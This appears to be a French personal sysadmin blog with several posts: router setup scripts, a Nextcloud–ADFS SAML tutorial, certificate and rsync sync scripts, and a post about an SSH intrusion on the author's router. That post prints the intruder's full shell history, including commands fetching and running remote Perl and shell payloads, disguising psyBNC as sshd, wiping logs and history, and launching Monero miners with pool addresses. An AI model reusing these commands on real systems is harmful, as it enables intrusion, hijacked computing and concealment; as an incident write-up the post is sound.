sed -i -e 's/^PS1=.*$/PS1='"'"'\\[\\033[01;32m\\]\\u@\\h\\[\\033[01;34m\\] \\w \\$\\[\\033[00m\\] '"'"'/' /etc/bash.bashrc

# disable ipv6 on eth2 because I do not use the tunnel from sfr
# echo 1 > /proc/sys/net/ipv6/conf/eth2/disable_ipv6

# synchronize the config tree with root
if [ ! -d "$config_root" ]; then
        echo "Nothing to sync"
        exit 0
fi

find "$config_root" \( -type f -o -type l \) -print | \
        while read i;
        do
                target=$(echo $i | cut -d'/' -f5-)
                dir=$(dirname /"$target")
                mkdir -p "$dir"
                cp "$i" "/$target"
        done

# specific tasks for ipsec
ipsec rereadall

# specific tasks for unbound
curl "https://pgl.yoyo.org/adservers/serverlist.php?hostformat=unbound&showintro=1&mimetype=plaintext" > /etc/unbound/local-blocking-data.conf
systemctl enable unbound
systemctl restart unbound

if [ ! -d /var/run/nsd3 ]; then
        install -d -o nsd -g nsd -m 755 /var/run/nsd3
fi

systemctl enable nsd
systemctl restart nsd

curl "https://pgl.yoyo.org/adservers/iplist.php?ipformat=iptables&showintro=1&mimetype=plaintext" | sed 's/OUTPUT/OUT_ADBLOCK/g' > /tmp/iptables.sh
#iptables -N OUT_ADBLOCK
#iptables -F OUT_ADBLOCK
#chmod +x /tmp/iptables.sh
#/tmp/iptables.sh
rm /tmp/iptables.sh
#iptables -D OUTPUT -o eth2 -p tcp -m multiport --dports 80,443 -j OUT_ADBLOCK
#iptables -A OUTPUT -o eth2 -p tcp -m multiport --dports 80,443 -j OUT_ADBLOCK

Mot de la fin

J’espère que cette introduction facilitera votre prise en main. Personnellement j’étais un peu frileux à l’idée de prendre du matos semi-propriétaire mais je suis au final extrêmement satisfait de cet investissement et je ne peux que le recommander pour toute personne ne souhaitant pas avoir un équipement étranger (la box opérateur) dans son réseau local. En bon passionné que je suis, j’attends avec impatience une nouvelle version majeure du firmware qui nous emmènerais sur un kernel 4.x, le kernel 3.10 actuellement utilisé n’étant plus supporté. J’ai lu que la principale difficulté provenant du constructeur CPU qui rechignerait à fournir un SDK compatible avec une version récente de Linux.

Source

Authentification Nextcloud en SAML (avec ADFS)

Nextcloud est une solution open-source en alternative à Dropbox et consort. C’est une solution plutôt simple à mettre en place mais comme toujours, SAML complique les choses. A commencer par une documentation relativement pauvre, ce qui conduit à tâtonner jusqu’à trouver la bonne configuration. Sans plus tarder, voici comment configurer Nextcloud pour déléguer l’authentification à ADFS en SAML.

Pré-requis

  • Un Nextcloud déjà configuré
  • Un IdP qui marche, il s’agira ici de ADFS 4.0 (Windows Server 2016)
  • Un certificat signé par une autorité reconnue par l’IdP, avec sa clé privée. La clé doit obligatoirement être du RSA. Ce certificat sera assigné au SP (Service Provider), c’est à dire Nextcloud afin de déchiffrer les requêtes SAML de l’ADFS passant à travers le navigateur. Ce certificat est optionnel dans l’absolu mais le tutoriel suppose qu’il existe.

Configuration de ADFS

Nextcloud propose des méta-data permettant de configurer rapidement l’IdP, cependant ces metadatas sont incomplets et l’on ne peut donc se reposer dessus pour faire une configuration fonctionnelle. Il va donc falloir tout faire à la main.

Dans le gestionnaire ADFS, nous créons un nouveau RP Trust de type Claims Aware.Add Relying Party - Claims aware?Vu que les metadatas générés par Nextcloud ne sont pas suffisants, la configuration du Relying Party Trust va se faire manuellement.

Add Relying Party - MetadataNous donnons un nom à ce Relying Party Trust pour le différencier des autres, avec éventuellement un commentaire à destination des administrateurs.Add Relying Party - Name

Cette étape est optionnelle. Nous allons ici renseigner le certificat demandé dans les pré-requis.

Add Relying Party - Token Encryption

Nous spécifions ensuite le endpoint vers lequel ADFS va rediriger le navigateur après l’authentification. Celui-ci doit être https://[nom.de.domaine.de.nextcloud]/apps/user_saml.acs .

Add Relying Party - Service Provider EndpointNous spécifions l’ID avec lequel Nextcloud va se déclarer auprès de l’ADFS dans les requêtes SAML. Celui-ci doit être https://[nom.de.domaine.de.nextcloud]/apps/user_saml/saml/metadata .

Add Relying Party - Service Provider IdentifierL’écran suivant permet de spécifier les personnes pouvant s’authentifier avec succès avec ADFS pour accéder à Nextcloud. Pour mon cas, j’indique tout le monde.

Add Relying Party - Access Control PolicyLe Relying Party Trust est enfin créé mais nous allons devoir compléter la configuration en l’éditant immédiatement.

Gestionnaire ADFS - Liste des Relaying Party TrustsDans l’onglet Signature, nous allons spécifier le même certificat que celui utilisé dans l’onglet Encryption.

Edit Relying Party Trust - SignatureNextcloud ne supporte pour le moment que l’utilisation du SHA-1, particularité que nous précisons dans l’onglet Advanced.

Edit Relying Party Trust - Hash algorithmNous pouvons valider les changements.

Configuration des claims

Viens ensuite la configuration des claims, c’est à dire d’une part les informations sur l’utilisateurs qui seront transmises à Nextcloud et d’autre part le mapping de ces informations.
Pour cela, nous allons ouvrir la boîte de dialogue d’édition des claims et ajouter deux règles de transformations :

Edit Relying Party Trust - Claims issuanceLa première règle est simple et sert à définir l’id de l’utilisateur côté Nextcloud.

Edit Relying Party Trust - NameIDLa seconde règle va permettre de transmettre l’email et le nom d’affichage de l’utilisateur.

Edit Relying Party Trust - User attributesLa configuration côté ADFS est désormais totalement terminée. Nous pouvons donc maintenant poursuivre avec NextCloud.

Configuration de Nextcloud

Nextcloud vient avec un plugin nommé « SSO & SAML authentication ». Celui-ci doit au préalable être activé dans la page listant les Apps afin d’ajouter une section au niveau de l’administration.

Une fois cela fait, vous trouverez ci-dessous les paramètres miroir à ce que nous avons paramétré précédemment dans ADFS. Prenez garde au warning afin d’éviter un tour en base de données si les choses tournent mal !

Le premier certificat à indiquer dans la section Service Provider Data est celui généré en pré-requis que nous avons renseigné comme token de chiffrage dans ADFS. Il doit être indiqué sous forme PEM, c’est à dire sous forme d’une chaîne en base-64 entouré des balises  « —–BEGIN CERTIFICATE—– » et « —–END CERTIFICATE—–« .

Nextcloud - SSO & SAML Authentication - Service Provider DataDans la section Identity Provider, on fera attention à distinguer l’ID de l’IdP, lequel n’est pas une url et est par défaut http://[nom.de.domaine.de.adfs]/adfs/services/trust , sans le s dans http, du endpoint de l’IdP dans le second champ. Le certificat à indiquer dans les options cachées de l’Identity Provider est le token de signature de ADFS. Il se récupère dans la console ADFS dans Services > Certificates. Nextcloud s’attend à la partie publique du token, donc le certificat. Comme précédemment Nextcloud s’attend à ce que le certificat soit sous forme PEM.

La section suivante tire partie des informations envoyées par ADFS, notamment le nom d’affichage de l’utilisateur et son email. Les noms d’attributs peuvent être obtenus dans ADFS en cliquant sur le bouton View Rule Language ou bien en analysant les requêtes SAML lorsqu’elles ne sont pas chiffrées.

Nextcloud - SSO & SAML Authentication - Identity Provider DataEnfin la dernière partie spécifie si le dialogue SAML est signé, chiffré et part qui. Dans le cas où Nextcloud est derrière un reverse proxy, il pourrait être nécessaire de désactiver l’option Indicates if the SP will validate all received XML.

Nextcloud - SSO & SAML Authentication - Security

It works!

Nextcloud - Login via SSO

Vous devriez à partir de maintenant pouvoir vous connectez à Nextcloud de manière totalement transparente. N’oubliez pas de désactiver l’option .

Je pense qu’on peut faire mieux, notamment au niveau des claims où certain attributs me semblent inutile mais parce que ça marche je n’ai pas poussé ces tests. J’espère ainsi pouvoir vous éviter l’enfer, ça sera pour une prochaine fois.

Enjoy!

Je me suis fait hack (encore)

Me voilà de retour d’une très sympathique semaine de ski pour constater un peu par hasard et après une bonne nuit de sommeil une activité suspecte sur mon routeur, un hack ?

Un cafard se balade sur mon routeur

Que vois-je ? L’utilisateur build qui ouvre une connexion ssh en live ?! build est un compte que j’utilise pour build des packages pour Alpine Linux. Avant de me faire une vm dédiée à cette tâche, avec largement plus de capacité, c’est mon routeur (sous Alpine) qui s’occupait de la compilation. Le routeur est un bi-coeur faiblard cadencé à 1GHz épaulé par 4Go de RAM à comparer à une machine virtuelle armée de 8 vCPUs et de 8Go de RAM, ce n’est pas exactement la même chose sur les temps de compilation.

Si un gus a réussi à ssh mon routeur, c’est qu’il est exposé sur Internet, plutôt normal pour un routeur. Et comme je souhaite pouvoir m’y connecter à distance, SSH est accessible sur son port standard. Je suis absolument contre la sécurité par l’obscurantisme, dont l’analogie serait de cacher la clé sous le tapis. Je n’ai donc pas remappé le port 22 ailleurs. Quant au mot de passe de ce compte, ça devait très certainement être build aussi… Ca peut paraître stupide sauf que mes accès ssh ne sont pas censés accepter des logins par mot de passe. Enfin c’est ce que je croyais.

Désinfection au Raid⚡

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no

Après une vérification rapide de /etc/ssh/sshd_config , j’ai pu confirmer, et corriger, que sshd acceptait bien les logins par mot de passe. Je suppose que j’ai dû être un peu fatigué lorsque j’ai mis à jour sshd la dernière fois. Plus de fun que de mal, le petit malin aura tenté tout un tas de binaires pré-compilés pour escalader en privilèges ou faire miner ma box mais sans la glibc ni compilateurs, c’est un peu dur de les faire exécuter, sans compter grsec qui masque tous les process non-ownés en cours d’exécution et l’absence de sudo.

Ci-dessous l’activité de l’indésirable, on peut voir aux commandes employées et fautes de frappes que l’attaque était manuelle.

uname -a; w
w
ps x
wget
cat /etc/passwd |grep sh
ps x
cd /tmp/.ICE-unix ; wget http://14.142.118.25/psyBETA.gz; tar xvf psyBETA.gz; rm -rf psyBETA.gz; cd nsmail; mv psybnc sshd ; ./sshd
ps x
/sbin/ifconfig |grep inet
cd ..
rm -rf nsmail
ps x
kill -9 8042
cd var/tmp ; wget http://209.92.176.23:81/ipv6.tar ; tar zxvf ipv6.tar ; rm -rf ipv6.tar ;cd " " ; nano cfg
vi cfg
chmod +x *
./autorun
./run
cd ..
rm -rf " "
ls -a
ps x
history -c
exit
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ;wget http://dl.packetstormsecurity.net/UNIX/penetration/log-wipers/mig-logcleaner11.tar.gz;tar xzvf mig-logcleaner11.tar.gz;cd mig-logcleaner;make linux ;./mig-logcleaner -u root;cd ..;rm -rf mig-logcleaner11.tar.gz;rm -rf mig-logcleaner
w
id
uname -a
ls -a
wget
perl
cd /tmp;wget http://107.180.41.26/bash/ce;perl ce;rm -rf ce
w
ls -a
wget bash.artisanal.gifts/ce
perl ce
rm -rf ce
w
ls -a
ssh nico@94.23.0.64
ssh root@213.32.95.88
ssh steam@149.202.41.147
ssh press@94.23.25.188
uname -a; w
ls -a
ps x
wget
ps x
cd /tmp/.ICE-unix
ls -a
cd /var/tmp
ls -a
cd nginx
ls -a
cd /tmp/.ICE-unix
wget http://14.142.118.25/psyBETA.gz; tar xvf psyBETA.gz; rm -rf psyBETA.gz; cd nsmail; mv psybnc sshd ; ./sshd
cd ..
rm -rf nsmail
wget http://14.142.118.25/mile.tgz
ls -a
tar zxvf mile.tgz
rm -rf mile.tgz
chmod +x *
./autorun
ls -a
cd .d
chmod +x *
./autorun
./run
cd ..
rm -rf .d
wget http://14.142.118.25/m.sh;chmod a+x m.sh && sh m.sh ; rm -rf m.sh ;history -rc
ls -a
exit
w
wget
cd /tmp;wget http://200.6.251.100/gx;perl gx;rm -rf gx
w
ls -a
w
id
uname -a
cat /proc/cpuinfo
passwd
cd /tmp;wget http://84.200.214.107/rx;perl rx;cd ; rm -rf .bash_history
w
?
help
setup-alpine
h
uname -a
w
uptime
passwd
cd /dev/shm
ls -al
wget
wget http://213.202.211.230/a
ls
perl a
cd /var/tmp
wget http://213.202.211.230/a
cd /tmp
wget http://213.202.211.230/a
perl a
wget http://213.202.211.230/frame.tgz
tar xvf frame.tgz
rm -rf frame.tgz
cd .w
./autorun & ./run
w
ps -x
uptime
sudo su -
unset HISTFILE HISTSAVE HISTLOG
passwd
ps x
cd /tmp
ls -al
cd .w
ls -al
cat cfg
ls
cd /tmp
ls
ls -al
wget 213.202.211.230/a
perl a
ls
cd /tmp
ls
wget 213.202.211.230/p
perl p
rm -rf p
ls
cd /tmp
ls
perl a
wget 213.202.211.230/noi.tgz
tar xvf noi.tgz
rm -rf noi.tgz
cd .r
./autorun & ./run
w
uptime
uname -a
ls
ls -al
cat .ash_history
wget 213.202.211.230/p
unset HISTFILE HISTSAVE HISTLOG
w
ps x
cat /proc/cpuinfo
wget 104.236.44.248/x;perl x;rm -rf x;wget http://195.114.1.39/~hoton/yam;chmod +x yam;./yam -c x -M stratum+tcp://46PncwHHbkcDv4X3PWbQataAK69Fq4oC9aDb5eZBDNsVSiEULJ4vCaRWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3z32jBJ:x@198.251.81.82:3333/xmr >>/dev/null &
unset HISTFILE HISTSAVE HISTLOG
cd /tmp
ls
ls -al
wget 213.202.211.230/p
perl p
unset HISTFILE HISTSAVE HISTLOG
ls
cd /tmp
ls
perl p
ps x
w
ps x
cat /roc/cpuinfo
cat /proc/cpuinfo
curl -O http://104.236.44.248/x;perl x;rm -rf x;wget http://104.236.44.248/xm.tgz;tar xzvf xm.tgz;rm -rf xm*;cd .g;chmod +x *;./a
rm -rf *
w
ps x
ls -a
wget http://162.243.108.174/n;perl n;rm -rf n;wget http://162.243.108.174/xm.tgz;tar xzvf xm.tgz;rm -rf xm.tgz;cd .g;./x
w
ps x
nproc
perl
cd /tmp;wget http://162.243.108.174/n;perl n;rm -rf n;
w
uname -a
ps x
cat /proc/cpuinfo
a
w
uname -a
gcc
cat /etc/passwd
cat /etc/issue
wget
cd /t,m
ls
cd /tmp/
ls
cd .ICE-unix/
ls
 wget prg.at.ua/bot/blackmech.tgz
 wget http://prg.at.ua/bot/blackmech.tgz
ls
tar xvzf blackmech.tgz
cd .black/
ls
./a
./r
ls
nano a
chmod +x a
./a
l
ls
./update
ls
cat update
ls -a
top
cd /home/build/.g
dir
./md -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u trendsalevip@gmail.com -p x >>/dev/null &
w
ps x
nproc
cat /proc/cpuinfo
nproc
ps x
cd /tmp
ls -a
cd .z
ls
ls -a
cd /dev/shm
ls -a
cd .ste
ls
cd .s
ls
wget http://162.243.108.174/e.tgz;tar xzvf e.tgz;rm -rf e.tgz;cd .e;./a;perl n;rm -rf n;history -c
cat run
 ./md -a cryptonight -o stratum+tcp://5.254.66.118:8888 -u etnjxvssgjZdK3LD9TBSecKST2ETHmVBw3azXtVXiQtggNDyAWEvzg9Ga29ZXM39Wd7kSJWDZUHTgYUMDKCwhPBE5zN5XHGSSB -p x >>/dev/null &
./yam32 -c t -M stratum+tcp://etnjxvssgjZdK3LD9TBSecKST2ETHmVBw3azXtVXiQtggNDyAWEvzg9Ga29ZXM39Wd7kSJWDZUHTgYUMDKCwhPBE5zN5XHGSSB:x@5.254.66.118:8888/xmr >>/dev/null &
ps x
rm -rf *
ps x
cd /tmp
ls
cat a
perl a
wget 213.202.211.230
ls
uname -a
uptime
w
wget
ls
cd mix
ls
chmod +x *
ls
./a 183.82
w
ls
cd mix
ls
./a
./a 92.222
ls
cat pass
halt
w
free -g
cat /proc/cpuinfo
apt-get
yum
cd /
ls -la
exit
w
cd
cd /
ls
ifconfig
free -g
sudo su
w
exit

Il aurait pu explorer mon réseau interne. En effet la présence de l’interface ppp0 avec la commande ifconfig indique assez clairement une connexion « perso » ou du moins signifiant un équipement pas installé en datacentre. J’en suis presque déçu. On peut même y lire de la frustration lorsqu’il tant vers la fin les commandes apt-get  et yum . Rien que pour avoir pu déguster ce nectar, je ne regrette pas ma mauvaise configuration.

J’espère que ça t’aura amusé au moins autant qu’à moi. Je suis cependant preneur de tout moyen de tracer ce connard script-kiddie en obtenant son wallet ETH à partir des informations ci-dessus, je prends !

Et si tu veux jouer avec sa toolbox : 20180128_hack_tools.tar

Synchroniser un certificat SSL avec reverse proxy et serveur IIS

Dans la continuation de mes articles sur Let’s Encrypt, voici un petit article permettant de résoudre un problème qui se pose lors de l’utilisation d’un reverse proxy.

Soit la situation suivante :

  • un serveur applicatif HTTPS utilisant le magasin de certificat de Windows, accédé en direct par les postes de travail internes
  • un reverse proxy HTTPS permettant d’accéder à ce serveur applicatif depuis Internet

On se retrouve alors avec potentiellement 2 serveurs HTTPS distinct donc deux certificats distincts. On pourrait les aligner, mais les certificats Let’s Encrypt ayant une durée de vie de 3 mois, la surcharge induite pour effectuer ce travail manuellement commence à peser, à moins d’automatiser cette opération avec un simple script.

Initialisation

La première fois est manuelle, et consiste à charger le certificat avec sa clé privée, donc obligatoirement sous forme PFX, depuis le reverse proxy vers le serveur applicatif. Cela va servir à charger la clé privée au niveau du serveur applicatif, opération qui ne sera pas faite ultérieurement, et donc simplifie la maintenance d’un point de vue de la sécurité. En effet il suffira par la suite de récupérer uniquement le certificat, donc la partie publique, ce qui se fait simplement en faisant une requête HTTPS au reverse proxy.

Récursion Répétition

Comme dit au premier paragraphe, la clé privée ne change pas, seul le certificat est renouvelé régulièrement auprès de Let’s Encrypt. Le script va donc :

  1. Effectuer une requête HTTPS au reverse proxy, en spécifiant l’hôte permettant de sélectionner le bon site (via l’extension SNI)
  2. La réponse, quelque soit le résultat HTTP (200, 404, 401…) contient le certificat, qu’on importe dans le magasin de certificat
  3. Le magasin de certificat contient la clé privée, ajouté précédemment, et un certificat sans clé privée mais dont la clé publique correspond à la clé privée. On va exécuter un programme qui va permettre de réassocier ces deux éléments
  4. La dernière étape consiste à reconfigurer IIS pour utiliser le nouveau certificat.

C’est l’objectif du script ci-dessous qui pourra être exécuté de manière périodique via le planificateur de tâches.

# url permettant d'atteindre le reverse proxy
# depuis le serveur applicatif
$address = 'https://rp-out.kveer.fr'
# nom d'hôte à envoyer au reverse proxy pour sélectionner le bon site
$headerHost = 'tfs.dev.kveer.fr'
# nom du site IIS devant utiliser le certificat
$site = 'Team Foundation Server'

$CertStore = 'cert:\LocalMachine\WebHosting'
Import-Module WebAdministration
$tmp = "$env:TEMP\_cert_import_" + (Get-Random) + ".crt"

$wr = [Net.WebRequest]::CreateHttp($address)
$wr.Host=$headerHost
$wr.AllowAutoRedirect=$false
try { $wr.GetResponse() } catch {}
$cert = $wr.ServicePoint.Certificate
$bytes = $cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert)
Set-Content -Value $bytes -Encoding Byte -Path $tmp
$c = Import-Certificate -CertStoreLocation $CertStore -FilePath $tmp
certutil -repairstore WebHosting $c.SerialNumber
Remove-Item $tmp

$currentSSLBinding = Get-Item IIS:\SslBindings\* | Where-Object { $_.Port -eq 443 -and $_.Sites -eq $site }
$currentSSLBindingName = $currentSSLBinding.PSChildName

$currentSSLBinding | Remove-Item
Get-Item -Path "$CertStore\$($c.Thumbprint)" | New-Item -Path IIS:\SslBindings\$currentSSLBindingName

Enjoy !

Synchronisation asymétrique entre deux dossiers distants

J’ai écrit un (très) petit script qui me permet de synchroniser à sens unique deux dossiers distants.

Ce script s’exécute une fois par jour par cron. À chaque exécution, il va récupérer du dossier source tout ce qui aura été créé ou modifier depuis la dernière bonne exécution du script. Cette synchronisation asymétrique me permet de vider régulièrement le dossier local, qui est dans l’usage un tampon, sans que les éléments déplacés ne soient à nouveaux resynchronisés à partir du dossier distant.

#!/bin/sh
# remote mono-directional sync v2.2

# note: the first time this script runs, nothing append
# because the script initializes the last exec to now.

# configuration parameters
# remote folder to sync to (the source)
REMOTE_FOLDER='/remote/folder'
# remote host and username to id against
REMOTE_URI='remote-user@remote.kveer.fr'
# local folder (the destination)
LOCAL_URI='/mnt/pending'
# file containing the last sync date
LAST_EXECUTION='/var/lib/kveer/last-remote-user-sync'
# the ssh private key to ident to the remote host
REMOTE_KEY='rtorrent-sync-identity'

# private variables -- DO NOT MODIFY
TMP_FILES_TO_SYNC=$(mktemp -p /tmp rsync.XXXXXX)
LAST_EXECUTION_FOLDER=$(dirname $LAST_EXECUTION)
RSYNC_CMD="rsync -4 -htrvRc -z --partial --progress"

# beginning of the script
if [ ! -d `dirname $LAST_EXECUTION` ]; then
        mkdir `dirname $LAST_EXECUTION`
        date '+%Y-%m-%d %H:%M:%S' > $LAST_EXECUTION
fi

# initializing ssh-agent to connect to the remote
eval $(ssh-agent)
ssh-add remote-user-sync-identity

# cleanup
trap '[ -e /proc/$SSH_AGENT_PID ] && kill $SSH_AGENT_PID; [ -f "$TMP_FILES_TO_SYNC" ] && rm "$TMP_FILES_TO_SYNC"' 0 2 3 15

LAST_EXEC=$(cat $LAST_EXECUTION)
ssh "$REMOTE_URI" "cd ${REMOTE_FOLDER};find . -daystart -maxdepth 1 -mindepth 1 -newermt '$LAST_EXEC' -print" > $TMP_FILES_TO_SYNC
NEW_LAST_EXEC=$(date '+%Y-%m-%d %H:%M:%S')
$RSYNC_CMD --files-from=$TMP_FILES_TO_SYNC "${REMOTE_URI}:${REMOTE_FOLDER}" "$LOCAL_URI"
ret=$?

# store last execution
[ "$ret" -eq '0' ] && echo $NEW_LAST_EXEC > $LAST_EXECUTION